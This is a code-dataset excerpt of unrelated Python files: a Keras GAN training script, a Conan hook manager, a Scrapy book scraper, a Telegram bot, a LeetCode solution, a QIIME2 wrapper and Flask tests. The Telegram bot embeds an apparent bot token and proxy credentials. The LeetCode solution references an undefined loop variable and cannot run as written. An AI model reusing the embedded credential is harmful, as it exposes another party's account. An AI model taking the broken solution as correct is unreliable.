[\n\td4(K.layers.concatenate([g_input_4, g_output_4]) ),\n\td3(K.layers.concatenate([g_input_3, g_output_3]) ),\n\td2(K.layers.concatenate([g_input_2, g_output_2]) ),\n\td1(K.layers.concatenate([g_input_1, g_output_1]) )]\n\t\n\nGAN = Model( g_input, outputs = d_connnected_to_g )\nGAN.summary()\n\n#print(GAN.predict(np.random.uniform(0,1,size=[3,160,80,4])))\nrandom_input = np.random.uniform(0,1,size=[3,160,80,4])\nprint()\n#print(D.predict(CreateDiscriminatorInput(G,random_input)))\nGAN.compile(loss='binary_crossentropy', optimizer=Adam(lr=1e-3))\n#GAN.summary()\na = []\nprint('getting matrices')\nnum_points = 200\nif os.path.isfile('data/useful'+str(num_points)+'.npy'):\n\ta = np.load('data/useful'+str(num_points)+'.npy')\n\tprint('loaded numpy dataset')\nelse:\n\tfor i in range(num_points):\n\t\tif i % 20 == 0:\n\t\t\tprint('getting matrix',i)\n\t\tnew_frames = get_matrices()\n\t\tlist_frames = []\n\t\tkeys = list(new_frames.keys())\n\t\tkeys.sort()\n\t\tfor i in keys:\n\t\t\tlist_frames.append(new_frames[i])\n\t\t\t\n\t\tframes_array = np.asarray(list_frames)\n\t\ta.append(frames_array)\n\ta = np.asarray(a)\n\ta = np.swapaxes(a,1,3)\n\ta = np.swapaxes(a,1,2)\n\tprint(a.shape)\t\n\tnp.save('data/useful'+str(num_points)+'.npy',a)\n\nX = a[:,:,:,:4]\nY = a[:,:,:,4:]\nprint(X.shape)\nprint(Y.shape)\n\n\ndiscriminator_losses = []\ngenerator_losses = []\n\nnum_epochs = 10\nfor e in range(num_epochs): \n\tprint(e)\n\tg_frames = G.predict(X)\n\t\n\td_frames = CreateDiscriminatorInput(G,X)\n\td_true_frames = CreateDiscriminatorInput(G,X,true_frame=Y)\n\td_train = []\n\tfor i in range(4):\n\t\td_train.append(np.concatenate((d_frames[i],d_true_frames[i])))\n\t\n\tn_points = d_train[0].shape[0]\n\t\n\ty = np.zeros([n_points],dtype=np.int32)\n\ty[0:int(n_points/2)] = 0\n\ty[int(n_points/2):] = 1\n\t\n\t#y = to_categorical(y)\n\t\n\tmake_trainable(D,True)\n\td_loss = D.train_on_batch(d_train,[y,y,y,y])\n\tdiscriminator_losses.append(sum(d_loss))\n\n\t\n\t\n\ty2 = np.full([int(n_points/2)],1,dtype=np.int32)\n\t#y2 = to_categorical(y2)\n \n\tmake_trainable(D,False)\n\tg_loss = GAN.train_on_batch(X, [y2,y2,y2,y2] )\n\tgenerator_losses.append(sum(g_loss))\n\t\n\tif e%(num_epochs/10)==0:\n\t\tplt.plot(range(e+1),discriminator_losses,label='D loss')\n\t\tplt.plot(range(e+1),generator_losses,label='G loss')\n\t\tplt.legend()\n\t\tplt.savefig(str(e)+'.png')\n\t\tplt.close()\nGAN.save('GAN.h5')\t\nD.save('D.h5')\nexit()\n\n\n#############################################################################################################\n\n\n\n\"\"\"\n### Attach all Components\nopt=Adam(lr=1e-3)\n\n### compile and attach all generators to each other\ng4.compile(loss='binary_crossentropy',optimizer=opt)\ng4_p = g4( Input((*dim4,4)) )\n\ng3.compile(loss='binary_crossentropy',optimizer=opt)\ng3_p = g3( \n\ttf.concat((Input((*dim3,4)), tf.image.resize_images(g4_p,dim3)),\n\taxis=3) )\n\t\ng2.compile(loss='binary_crossentropy',optimizer=opt)\ng2_p = g2( \n\ttf.concat((Input((*dim2,4)), tf.image.resize_images(g3_p,dim2)),\n\taxis=3) )\n\ng1.compile(loss='binary_crossentropy',optimizer=opt)\ng1_p = g1( tf.concat(\n\t(Input((*dim1,4)), tf.image.resize_images(g2_p,dim1)),\n\taxis=3) )\n\n\n\nopt=Adam(lr=1e-3)\n\n### compile discriminators and attach generators to discriminators\nd4.compile(loss='binary_crossentropy',optimizer=opt)\nd4_p = d4( g4_p )\n\nd3.compile(loss='binary_crossentropy',optimizer=opt)\nd3_p = d3( g3_p )\n\nd2.compile(loss='binary_crossentropy',optimizer=opt)\nd2_p = d2( g2_p )\n\nd1.compile(loss='binary_crossentropy',optimizer=opt)\n\n\n\n\n\n\n\n\n\nprint(d1.summary())\n#x1 = []\n#for i in range(3000):\n#\tprint(i)\n#\tx1.append( get_matrices() )\n\n#print(len(x1))\n#exit()\nx = filter_frames()\nprint(x[64000])\nt = [i for i in x.keys() if int(i) > 40000]\nt.sort()\npositions = [[ list(map(float,j[1:])) for j in x[i]] for i in t]\npid = [[j[0] for j in x[i]] for i in t]\n\n\nposition_maps= []\nfor i in range(len(t)):\n\tposition_maps.append(np.zeros(dim1))\n\tfor p in positions[i]:\n\t\tposition_maps[-1][int(p[0])-850][int(p[1])-150] = 1\n\n\n\n\n### Make sequences of 4 frams, and output of next frame\nsequences = {1:[],2:[],3:[],4:[]}\nnext_frame = position_maps[4:]\n\n### resizes batch of images (doesn't work for batch of sequences of images)\ndef res(images,scale):\n\tfinal = []\n\tfor i in images:\n\t\ti = np.squeeze(i)\n\t\tfinal.append( misc.imresize(i,1.*2**scale) ) \n\treturn np.asarray(final)[:,:,:,np.newaxis]\n\t\n### Downscales input for each scale\nfor i in range(len(position_maps)-4):\n\tseq = position_maps[i:i+4]\n\tsequences[4].append( list(map(lambda j: misc.imresize(j,.125), seq)) )\n\tsequences[3].append( list(map(lambda j: misc.imresize(j,.25), seq)) )\n\tsequences[2].append( list(map(lambda j: misc.imresize(j,.5), seq)) )\n\tsequences[1].append( position_maps[i:i+4] )\n\n### convert sequences into tensor with appropriate dimensions\ndims = {1:dim1,2:dim2,3:dim3,4:dim4}\t\nfor i in (1,2,3,4):\n\tsequences[i] = np.asarray(sequences[i])\n\tsequences[i] = np.reshape(sequences[i],(len(sequences[i]),*dims[i],4))\n#sequences = tf.convert_to_tensor(sequences,dtype=tf.float32)\n#sequences = tf.expand_dims(sequences,axis=[-1])\t\n#print(sequences.get_shape())\n\nsess = tf.Session()\nx4 = sequences[4]\nx3 = sequences[3]\nx2 = sequences[2]\nx1 = sequences[1]\nxs = [x4,x3,x2,x1]\n\n\n\n\n\ndef probable_people(output,input):\n\tprint(len(np.split(input,[1],axis=3)))\n\tprint(len(np.split(input,[1],axis=3)[0]))\n\tprint(len(np.split(input,[1],axis=3)[0][0]))\n\tprint(len(np.split(input,[1],axis=3)[0][0][0]))\n\tprint(len(np.split(input,[1],axis=3)[0][0][0][0]))\n\n\tN_people = np.sum(np.split(input,[1],axis=3)[0],axis=tuple(range(1,len(input.shape))))\n\tprint(len(input[0]))\n\tprint(input.shape)\n\t#print(N_people.shape)\n\t#probabilities = np.sort(output.ravel()).tolist()\n\t#print(probabilities)\n\t#print(len(probabilities))\n\tprint(N_people[0])\n\tprint(-1*N_people[1])\n\tprobabilities = []\n\tc = 0\n\tfor i in range(len(input)):\n\t\t#print()\n\t\t#print(c)\n\t\t#c+=1\n\t\tprint( time.time() )\n\t\t#print('ravel')\n\t\t#a = output[i].ravel()\n\t\t#print(time.time())\n\t\t#print('sort')\n\t\t#np.sort(a).tolist()[-1*N_people[i]:]\n\t\tprint(time.time())\n\t\t#print('altogether')\n\t\tprobabilities.append(np.sort(output[i].ravel()).tolist()[-1*N_people[i]:])\n\t\tprint(time.time())\n\t\tprint()\n\t\t#print('probos')\n\t\t#print(probabilities[-1])\n\t\t#print(time.time())\n\tother = np.zeros(output.shape)\n\tfor i in range(len(output)):\n\t\tprint(time.time())\n\t\tfor j in range(len(output[i])):\n\t\t\tfor k in range(len(output[i][j])):\n\t\t\t\tif output[i][j][k][0] in probabilities[i]:\n\t\t\t\t\tother[i][j][k][0] = 1\n\t\t\t\t\t\n\treturn other\n\t\n\n\nprint('calculating first noise bunch')\nnoise4 = g4.predict(x4,steps=1)\nprint('calculating second noise bunch')\nnoise_people4 = probable_people(noise4,x4[:len(noise4)])\nprint('actually doing second')\nnoise3 = g3.predict(np.concatenate((x3, res(noise4,1)),axis=3),steps=1)\nprint('calculating third noise bunch')\nnoise_people3 = probable_people(noise3,x4[:len(noise3)])\nnoise2 = g2.predict(np.concatenate((x2, res(noise3,1)),axis=3),steps=1)\nprint('calculating first noise bunch')\nnoise_people2 = probable_people(noise2,x4[:len(noise2)])\nnoise1 = g1.predict(np.concatenate((x1, res(noise2,1)),axis=3),steps=1)\nnoise_people1 = probable_people(noise1,x4[:len(noise1)])\n\nnoises = [noise4,noise3,noise2,noise1]\n\n### train\n\n\nys = np.concatenate((np.zeros(len(xs[0])),np.full(len(xs[0]),1)))\n\n\nfor i in range(4):\n\tmake_trainable(ds[i])\n\tds.fit(np.concatenate((noises[i],xs[i]),axis=0),ys)\n\tmake_trainable(ds[i])\n\t\n\t\n\t\n\t\n\t\n\t\nt = Conv2D(128,3,padding='same',activation='relu')(g_input_4)\nt = Conv2D(256,3,padding='same',activation='relu')(t)\nt = Conv2D(128,3,padding='same',activation='relu')(t)\nt = Conv2D(1,3,padding='same',activation='relu')(t)\nt = Flatten()(t)\nt = Dense(dim4[0]*dim4[1],activation='softmax')(t)\n\ng_output_4 = Reshape(dim4+[1])(Dense(dim4[0]*dim4[1],activation='softmax')(t))\n#g4 = Model(g_input_4,g_output_4,name='Scale_4_Generator')\n\n# Second smallest scale\n#g_input_3 = Input((*dim3,5))\n#full_g_input_3 = K.backend.concatenate([g_input_3,Lambda(upscale_image,output_shape=get_upscale_output_shape)(g_output_4)])\n#print(g4.get_layer(index=-1))\n#g_input_3_2 = Lambda(concatenate_inputs,output_shape=get_concatenate_shape)(g_input_3)\n#full_g_input_3 = concatenate([g_input_3_2,Lambda(upscale_image,output_shape=get_upscale_output_shape)(g_output_4)], axis=-1)\nfull_g_input_3 = concatenate([g_input_3,Lambda(upscale_image,output_shape=get_upscale_output_shape)(g_output_4)], axis=-1 )\nt = Conv2D(128,5,padding='same',activation='relu')(full_g_input_3)\nt = Conv2D(256,3,padding='same',activation='relu')(t)\nt = Conv2D(128,3,padding='same',activation='relu')(t)\nt = Conv2D(1,5,padding='same',activation='relu')(t)\nt = Flatten()(t)\ng_output_3 = Reshape(dim3+[1])(Dense(dim3[0]*dim3[1],activation='softmax')(t))\n#g3 = Model(g_input_3,g_output_3,name='Scale_3_Generator')\n\n\n# thrid smallest scale\n#g_input_2 = Input((*dim2,5))\n#full_g_input_2 = K.backend.concatenate([g_input_2,Lambda(upscale_image,output_shape=get_upscale_output_shape)(g3)])\nfull_g_input_2 = concatenate([g_input_2,Lambda(upscale_image,output_shape=get_upscale_output_shape)(g_output_3)], axis=-1 )\nt = Conv2D(128,5,padding='same',activation='relu')(full_g_input_2)\nt = Conv2D(256,3,padding='same',activation='relu')(t)\nt = Conv2D(512,3,padding='same',activation='relu')(t)\nt = Conv2D(256,3,padding='same',activation='relu')(t)\nt = Conv2D(128,3,padding='same',activation='relu')(t)\nt = Conv2D(1,5,padding='same',activation='relu')(t)\nt = Flatten()(t)\ng_output_2 = Reshape(dim2+[1])(Dense(dim2[0]*dim2[1],activation='softmax')(t))\n#g2 = Model(g_input_2,g_output_2,name='Scale_2_Generator')\n\n\n# Full scale\n#g_input_1 = Input((*dim1,5))\n#full_g_input_1 = K.backend.concatenate([g_input_1,Lambda(upscale_image,output_shape=get_upscale_output_shape)(g2)])\nfull_g_input_1 = concatenate([g_input_1,Lambda(upscale_image,output_shape=get_upscale_output_shape)(g_output_2)], axis=-1 )\nt = Conv2D(128,7,padding='same',activation='relu')(full_g_input_1)\nt = Conv2D(256,5,padding='same',activation='relu')(t)\nt = Conv2D(512,5,padding='same',activation='relu')(t)\nt = Conv2D(256,5,padding='same',activation='relu')(t)\nt = Conv2D(128,5,padding='same',activation='relu')(t)\nt = Conv2D(1,7,padding='same',activation='relu')(t)\nt = Flatten()(t)\ng_output_1 = Reshape(dim1+[1])(Dense(dim1[0]*dim1[1],activation='softmax')(t))\n#g1 = Model(g_input_1,g_output_1,name='Scale_1_Generator')\n\n#gs = [g4,g3,g2,g1]\ngenerator_outputs = [g_output_4,g_output_3,g_output_2,g_output_1]\nG = Model( g_input, outputs = generator_outputs )\n\n\n\n####################################################################################################################\n\n\n\n\n### Multi-Scale Discriminators\nd_input_4 = Input(dim4+[5])\nt = Conv2D(64,3,padding='valid',activation='relu')(d_input_4)\nt = Flatten()(t)\nt = Dense(512)(t)\nt = Dense(256)(t)\nd_output_4 = Dense(1,activation='sigmoid')(t)\nd4 = Model(d_input_4,d_output_4,name='Scale_4_Discriminator')\n\n\nd_input_3 = Input(dim3+[5])\nt = Conv2D(64,3,padding='same',activation='relu')(d_input_3)\nt = Conv2D(128,3,padding='same',activation='relu')(t)\nt = Conv2D(128,3,padding='same',activation='relu')(t)\nt = Flatten()(t)\nt = Dense(1024)(t)\nt = Dense(512)(t)\nd_output_3 = Dense(1,activation='sigmoid')(t)\nd3 = Model(d_input_3,d_output_3,name='Scale_3_Discriminator')\n\n\nd_input_2 = Input(dim2+[5])\nt = Conv2D(128,5,padding='same',activation='relu')(d_input_2)\nt = Conv2D(256,5,padding='same',activation='relu')(t)\nt = Conv2D(256,5,padding='same',activation='relu')(t)\nt = Flatten()(t)\nt = Dense(1024)(t)\nt = Dense(512)(t)\nd_output_2 = Dense(1,activation='sigmoid')(t)\nd2 = Model(d_input_2,d_output_2,name='Scale_2_Discriminator')\n\n\nd_input_1 = Input(dim1+[5])\nt = Conv2D(128,7,padding='same',activation='relu')(d_input_1)\nt = Conv2D(256,7,padding='same',activation='relu')(t)\nt = Conv2D(512,5,padding='same',activation='relu')(t)\nt = Conv2D(128,5,padding='same',activation='relu')(t)\nt = Flatten()(t)\nt = Dense(1024)(t)\nt = Dense(512)(t)\nd_output_1 = Dense(1,activation='sigmoid')(t)\nd1 = Model(d_input_1,d_output_1,name='Scale_1_Discriminator')\n\t\n\"\"\"\n\n\n\n\n\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":21848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"66150980","text":"import os\nimport sys\nimport traceback\nimport uuid\nfrom collections import defaultdict\n\nfrom conans.client.output import ScopedOutput\nfrom conans.client.tools.files import chdir\nfrom conans.errors import ConanException, NotFoundException\nfrom conans.util.files import save\n\nattribute_checker_hook = \"\"\"\ndef pre_export(output, conanfile, conanfile_path, reference, **kwargs):\n # Check basic meta-data\n for field in [\"url\", \"license\", \"description\"]:\n field_value = getattr(conanfile, field, None)\n if not field_value:\n output.warn(\"Conanfile doesn't have '%s'. It is recommended to add it as attribute\"\n % field)\n\"\"\"\n\nvalid_hook_methods = [\"pre_export\", \"post_export\",\n \"pre_source\", \"post_source\",\n \"pre_build\", \"post_build\",\n \"pre_package\", \"post_package\",\n \"pre_upload\", \"post_upload\",\n \"pre_upload_recipe\", \"post_upload_recipe\",\n \"pre_upload_package\", \"post_upload_package\",\n \"pre_download\", \"post_download\",\n \"pre_download_recipe\", \"post_download_recipe\",\n \"pre_download_package\", \"post_download_package\",\n \"pre_package_info\", \"post_package_info\"]\n\n\nclass HookManager(object):\n\n def __init__(self, hooks_folder, hook_names, output):\n self._hooks_folder = hooks_folder\n self._hook_names = hook_names\n self.hooks = defaultdict(list)\n self.output = output\n self._attribute_checker_path = os.path.join(self._hooks_folder, \"attribute_checker.py\")\n\n def create_default_hooks(self):\n save(self._attribute_checker_path, attribute_checker_hook)\n\n def execute(self, method_name, **kwargs):\n if not os.path.exists(self._attribute_checker_path):\n self.create_default_hooks()\n if not self.hooks:\n self.load_hooks()\n\n assert method_name in valid_hook_methods, \\\n \"Method '{}' not in valid hooks methods\".format(method_name)\n for name, method in self.hooks[method_name]:\n try:\n output = ScopedOutput(\"[HOOK - %s] %s()\" % (name, method_name), self.output)\n method(output=output, **kwargs)\n except Exception as e:\n raise ConanException(\"[HOOK - %s] %s(): %s\\n%s\" % (name, method_name, str(e),\n traceback.format_exc()))\n\n def load_hooks(self):\n for name in self._hook_names:\n self.load_hook(name)\n\n def load_hook(self, hook_name):\n if not hook_name.endswith(\".py\"):\n hook_name = \"%s.py\" % hook_name\n hook_path = os.path.normpath(os.path.join(self._hooks_folder, hook_name))\n try:\n hook = HookManager._load_module_from_file(hook_path)\n for method in valid_hook_methods:\n hook_method = getattr(hook, method, None)\n if hook_method:\n self.hooks[method].append((hook_name, hook_method))\n except NotFoundException:\n self.output.warn(\"Hook '%s' not found in %s folder. Please remove hook from conan.conf \"\n \"or include it inside the hooks folder.\" % (hook_name,\n self._hooks_folder))\n except Exception as e:\n raise ConanException(\"Error loading hook '%s': %s\" % (hook_path, str(e)))\n\n @staticmethod\n def _load_module_from_file(hook_path):\n \"\"\" From a given path, obtain the in memory python import module\n \"\"\"\n if not os.path.exists(hook_path):\n raise NotFoundException\n filename = os.path.splitext(os.path.basename(hook_path))[0]\n current_dir = os.path.dirname(hook_path)\n\n try:\n sys.path.append(current_dir)\n old_modules = list(sys.modules.keys())\n with chdir(current_dir):\n sys.dont_write_bytecode = True\n loaded = __import__(filename)\n # Put all imported files under a new package name\n module_id = uuid.uuid1()\n added_modules = set(sys.modules).difference(old_modules)\n for added in added_modules:\n module = sys.modules[added]\n if module:\n try:\n try:\n # Most modules will have __file__ != None\n folder = os.path.dirname(module.__file__)\n except (AttributeError, TypeError):\n # But __file__ might not exist or equal None\n # Like some builtins and Namespace packages py3\n folder = module.__path__._path[0]\n except AttributeError: # In case the module.__path__ doesn't exist\n pass\n else:\n if folder.startswith(current_dir):\n module = sys.modules.pop(added)\n sys.modules[\"%s.%s\" % (module_id, added)] = module\n except Exception:\n trace = traceback.format_exc().split('\\n')\n raise ConanException(\"Unable to load Hook in %s\\n%s\" % (hook_path,\n '\\n'.join(trace[3:])))\n finally:\n sys.dont_write_bytecode = False\n sys.path.pop()\n return loaded\n","sub_path":"conans/client/hook_manager.py","file_name":"hook_manager.py","file_ext":"py","file_size_in_byte":5557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"197648628","text":"# -*- coding:utf-8 -*-\nimport scrapy\nfrom Dangdang.items import DangdangItem\n\nclass DangdangSpider(scrapy.Spider):\n\n name = 'dangdangspider'\n allowed_domains = ['dangdang.com']\n start_urls = ['http://category.dangdang.com/cp01.00.00.00.00.00.html']\n\n def parse(self, response):\n headers = {'User-Agent: user_agent'}\n node_list = response.xpath(\"//ul[@class='filtrate_list']/li[1]//div[@class='clearfix']/span\")\n\n for node in node_list:\n try:\n cate_url_1 = node.xpath('./a/@href').extract()[0].encode('utf-8')\n cate_name_1 = node.xpath('./a/text()').extract()[0].encode('utf-8')\n if cate_name_1 == '其他':\n break\n url_1 = 'http://category.dangdang.com' + cate_url_1\n\n yield scrapy.Request(url=url_1, callback=self.two_parse)\n except Exception:\n pass\n def two_parse(self, response):\n headers = {'User-Agent: user_agent'}\n two_node_list = response.xpath(\"//ul[@class='filtrate_list']/li[1]//div[@class='clearfix']/span\")\n\n # print two_node_list\n item = DangdangItem()\n for node in two_node_list:\n try:\n cate_url_2 = node.xpath('./a/@href').extract()[0].encode('utf-8')\n cate_name_2 = node.xpath('./a/text()').extract()[0].encode('utf-8')\n if cate_name_2 == '其他':\n break\n url_2 = 'http://category.dangdang.com' + cate_url_2\n yield scrapy.Request(url=url_2, callback=self.detail_parse)\n # item['url'] = url_2\n # yield item\n except Exception:\n pass\n\n def detail_parse(self, response):\n try:\n item = DangdangItem()\n book_list = response.xpath(\"//ul[@class='bigimg']/li\")\n for node in book_list:\n title = node.xpath(\"./a/@title\").extract()[0].encode('utf-8')\n price = node.xpath(\"./p[@class='price']/span[1]/text()\").extract()[0].encode('utf-8').replace(\" \",\"\")\n origin_price = node.xpath(\"./p[@class='price']/span[2]/text()\").extract()[0].encode('utf-8').replace(\" \",\"\")\n writer = node.xpath(\"./p[@class='search_book_author']/span[1]/a/text()\").extract()[0].encode('utf-8').replace(\" \",\"\")\n press_time = node.xpath(\"./p[@class='search_book_author']/span[2]/text()\").extract()[0].encode('utf-8').replace(\" \",\"\")\n press = node.xpath(\"./p[@class='search_book_author']/span[3]/a/text()\").extract()[0].encode('utf-8').replace(\" \",\"\")\n detail = node.xpath(\"./p[@class='detail']/text()\").extract()[0].encode('utf-8').replace(\" \",\"\")\n comments_num = node.xpath(\"./p[@class='search_star_line']/a/text()\").extract()[0].encode('utf-8').replace(\" \",\"\")\n\n item['title'] = title.replace(\" \",\"\")\n item['price'] = int(float(price[2:])*100)\n item['origin_price'] = int(float(origin_price[2:])*100)\n item['writer'] = writer\n item['press'] = press\n item['press_time'] = press_time[1:]\n item['detail'] = detail\n item['comments_num'] = int(comments_num.split('条评论')[0])\n # print item\n yield item\n # 一个分类下存在多个页面,对多个页面爬取\n nextone = response.xpath(\"//div[@class='data']/a[2]/@href\").extract()[0].encode('utf-8')\n if nextone != 'javascript:void(0);':\n nexturl = 'http://category.dangdang.com' + nextone\n # print type(nexturl),nexturl\n yield scrapy.Request(url=nexturl, callback=self.detail_parse)\n\n except Exception:\n pass\n","sub_path":"Dangdang/spiders/dangdang.py","file_name":"dangdang.py","file_ext":"py","file_size_in_byte":3813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"568191278","text":"from telegram.ext import Updater, CommandHandler, MessageHandler, Filters\n\nimport logging\nlogging.basicConfig(format='%(name)s - %(levelname)s - %(message)s',\n level=logging.INFO,\n filename='bot.log'\n )\nimport ephem\nimport datetime\n\n\nPROXY = {'proxy_url': 'socks5://t1.learn.python.ru:1080',\n 'urllib3_proxy_kwargs': {'username': 'learn', 'password': 'python'}}\n\n\ndate = datetime.datetime.now().strftime('%d.%m.%Y')\n\n\ndef greet_user(bot, update):\n text='Приветствую, '+ update['message']['chat']['username']+'!'\n print(text, update)\n update.message.reply_text(text)\n\n\ndef talk_to_me(bot, update):\n user_text = update.message.text \n print(user_text)\n update.message.reply_text(user_text)\n\ndef get_planet (bot, update):\n planet_name = update.message.text.split()[1]\n planet = getattr(ephem, planet_name,'try another planet')\n constellation = ephem.constellation(planet(date))\n print (planet_name, date, constellation)\n update.message.reply_text(constellation)\n\n\n\n\ndef main():\n mybot=Updater('605962200:AAFpd_mhYS7RCP8D7_sA6u1wsCd1i6nqHTg', request_kwargs=PROXY)\n \n dp=mybot.dispatcher\n #когда пользователь нажимает команду \"старт\", его приветствуют\n dp.add_handler(CommandHandler('start',greet_user))\n dp.add_handler(CommandHandler('planet',get_planet))\n dp.add_handler(MessageHandler(Filters.text, talk_to_me))\n\n\n mybot.start_polling()\n mybot.idle()\n\nmain()\n\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"641554914","text":"# Leetcode 53. Maximum Subarray\n# Easy 12/18/20 \n\n# Given an integer array nums, find the contiguous subarray (containing at least one number) which has the largest sum and return its sum.\n# Follow up: If you have figured out the O(n) solution, try coding another solution using the divide and conquer approach, which is more subtle.\n\n\nclass Solution(object):\n def maxSubArray(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n dp = []\n dp.append(nums[0])\n current_largest_sum = dp[0]\n for a in range(1, len(nums)):\n dp.append(max(dp[i-1] + nums[i], nums[i]))\n if dp[i] > current_largest_sum:\n current_largest_sum = dp[i]\n\n return current_largest_sum\n\n\n\n# Time: O(a)\n# Space: O(a)\n\n","sub_path":"53-Maximum Subarray.py","file_name":"53-Maximum Subarray.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"588327533","text":"# ----------------------------------------------------------------------------\n# Copyright (c) 2016--, QIIME development team.\n#\n# Distributed under the terms of the Modified BSD License.\n#\n# The full license is in the file LICENSE, distributed with this software.\n# ----------------------------------------------------------------------------\n\nimport os.path\nimport tempfile\nimport hashlib\n\nimport biom\nimport skbio\nfrom q2_types.feature_data import DNAIterator\nfrom q2_types.per_sample_sequences import (\n SingleLanePerSampleSingleEndFastqDirFmt)\n\nfrom q2_dada2._plot import run_commands\n\n\ndef denoise(demultiplexed_seqs: SingleLanePerSampleSingleEndFastqDirFmt,\n trunc_len: int, trim_left: int, max_ee: int=2, truncq: int=2, hashed_feature_ids: bool=True) \\\n -> (biom.Table, DNAIterator):\n with tempfile.TemporaryDirectory() as temp_dir_name:\n biom_fp = os.path.join(temp_dir_name, 'output.tsv.biom')\n cmd = ['run_dada.R', str(demultiplexed_seqs), biom_fp,\n str(trunc_len), str(trim_left), str(max_ee), str(truncq), temp_dir_name]\n run_commands([cmd])\n table = biom.Table.from_tsv(open(biom_fp), None, None, None)\n # Currently the sample IDs in DADA2 are the file names. We make\n # them the sample id part of the filename here.\n sid_map = {id_: id_.split('_')[0] for id_ in table.ids(axis='sample')}\n table.update_ids(sid_map, axis='sample', inplace=True)\n # The feature IDs in DADA2 are the sequences themselves.\n if hashed_feature_ids:\n # Make feature IDs the md5 sums of the sequences.\n fid_map = {id_: hashlib.md5(id_.encode('utf-8')).hexdigest()\n for id_ in table.ids(axis='observation')}\n table.update_ids(fid_map, axis='observation', inplace=True)\n\n rep_sequences = DNAIterator((skbio.DNA(k, metadata={'id': v})\n for k, v in fid_map.items()))\n else:\n rep_sequences = DNAIterator(\n (skbio.DNA(id_, metadata={'id': id_})\n for id_ in table.ids(axis='observation')))\n return table, rep_sequences\n","sub_path":"q2_dada2/_denoise.py","file_name":"_denoise.py","file_ext":"py","file_size_in_byte":2172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"415536458","text":"# Copyright 2014 SolidBuilds.com. All rights reserved\n#\n# Authors: Ling Thio \n\nfrom __future__ import print_function # Use print() instead of print\nfrom flask import url_for\nfrom app.models.database import *\nfrom app.views.main_views import *\nfrom .conftest import captured_templates\nimport json\n\n\ndef test_home_page(client, session):\n # Visit home page\n response = client.get(url_for('main.home_page'), follow_redirects=True)\n assert response.status_code == 200\n\n\ndef test_course_home(client, session, captured_templates):\n response = client.get(\"/learner/courses\", follow_redirects=True)\n\n template, context = captured_templates[0]\n\n assert template.name == \"main/learner.html\"\n\n assert \"courses\" in context\n assert \"learner\" in context\n assert \"trainer\" in context\n assert \"enrolment\" in context\n assert \"enteredCourses\" in context\n\n assert isinstance(context[\"courses\"][0], Course)\n assert isinstance(context[\"learner\"][0], Learner)\n assert isinstance(context[\"trainer\"][0], Trainer)\n assert isinstance(context[\"enrolment\"][0], Enrolment)\n assert context[\"enteredCourses\"] == True\n\n\ndef test_course_apply(client, session):\n\n userInfo = {\n \"courseId\": \"IS113\",\n \"learnerId\": \"L003\",\n }\n\n userInfo = json.dumps(userInfo)\n\n response = client.post(\n \"/learner/courses\",\n data=userInfo,\n headers={\"Content-Type\": \"application/json\"},\n follow_redirects=True\n )\n\n assert response.json['code'] == 201\n\n\ndef test_quiz_home(client, session, captured_templates):\n response = client.get(\"/trainer/quizzes\", follow_redirects=True)\n\n template, context = captured_templates[1]\n\n assert template.name == \"main/admin_page.html\"\n\n assert \"assignedClasses\" in context\n assert \"lessonsWithoutQuiz\" in context\n assert \"enteredCreateQuiz\" in context\n\n assert isinstance(context[\"assignedClasses\"][0], Class)\n assert list(context[\"lessonsWithoutQuiz\"].keys())[0] == \"LS001\"\n assert list(context[\"lessonsWithoutQuiz\"].values())[0] == \"C001\"\n assert context[\"enteredCreateQuiz\"] == True\n\n\ndef test_quiz_submission(client, session):\n\n data = {\n \"csrf_token\": \"IjJiZjNkZWEwYjQ4MGM0ODA3NjliNWE4MjhhMzBlOTM5ZjQyMDczNTci.YXQeJg.k9HPT8_Sm2Lghf23UMJT-xB6pm8\",\n \"totalNumQuestions\": 2,\n \"classDetails\": \"C001\",\n \"qn1\": \"qn1\",\n \"ansType1\": \"trueFalse\",\n \"tfAns1\": \"true\",\n \"graded\": False,\n \"qn2\": \"qn2\",\n \"ansType2\": \"mcq\",\n \"qn2_option1\": \"option1\",\n \"qn2_option2\": \"option2\",\n \"qn2_option3\": \"option3\",\n \"qn2_option4\": \"option4\",\n \"submit\": \"Submit\"\n }\n\n response_quiz_created = client.post(\n \"/trainer/quizzes/IS114-C001-LS005\",\n data=data,\n headers={\"Content-Type\": \"multipart/form-data\"},\n )\n\n assert(response_quiz_created.data == b'quiz created')\n\n\n\n\n# Just leave for reference for now, but must delete later\n # print(quiz1)\n # assert quiz1.quizId == \"q1\"\n\n # Login as user and visit User page\n # response = client.post(url_for('user.login'), follow_redirects=True,\n # data=dict(email='user@example.com', password='Password1'))\n # assert response.status_code==200\n # response = client.get(url_for('main.member_page'), follow_redirects=True)\n # assert response.status_code==200\n\n # # Edit User Profile page\n # response = client.get(url_for('main.user_profile_page'), follow_redirects=True)\n # assert response.status_code==200\n # response = client.post(url_for('main.user_profile_page'), follow_redirects=True,\n # data=dict(first_name='User', last_name='User'))\n # response = client.get(url_for('main.member_page'), follow_redirects=True)\n # assert response.status_code==200\n\n # # Logout\n # response = client.get(url_for('user.logout'), follow_redirects=True)\n # assert response.status_code==200\n\n # # Login as admin and visit Admin page\n # response = client.post(url_for('user.login'), follow_redirects=True,\n # data=dict(email='admin@example.com', password='Password1'))\n # assert response.status_code==200\n # response = client.get(url_for('main.admin_page'), follow_redirects=True)\n # assert response.status_code==200\n\n # # Logout\n # response = client.get(url_for('user.logout'), follow_redirects=True)\n # assert response.status_code==200\n","sub_path":"tests/test_page_urls.py","file_name":"test_page_urls.py","file_ext":"py","file_size_in_byte":4461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
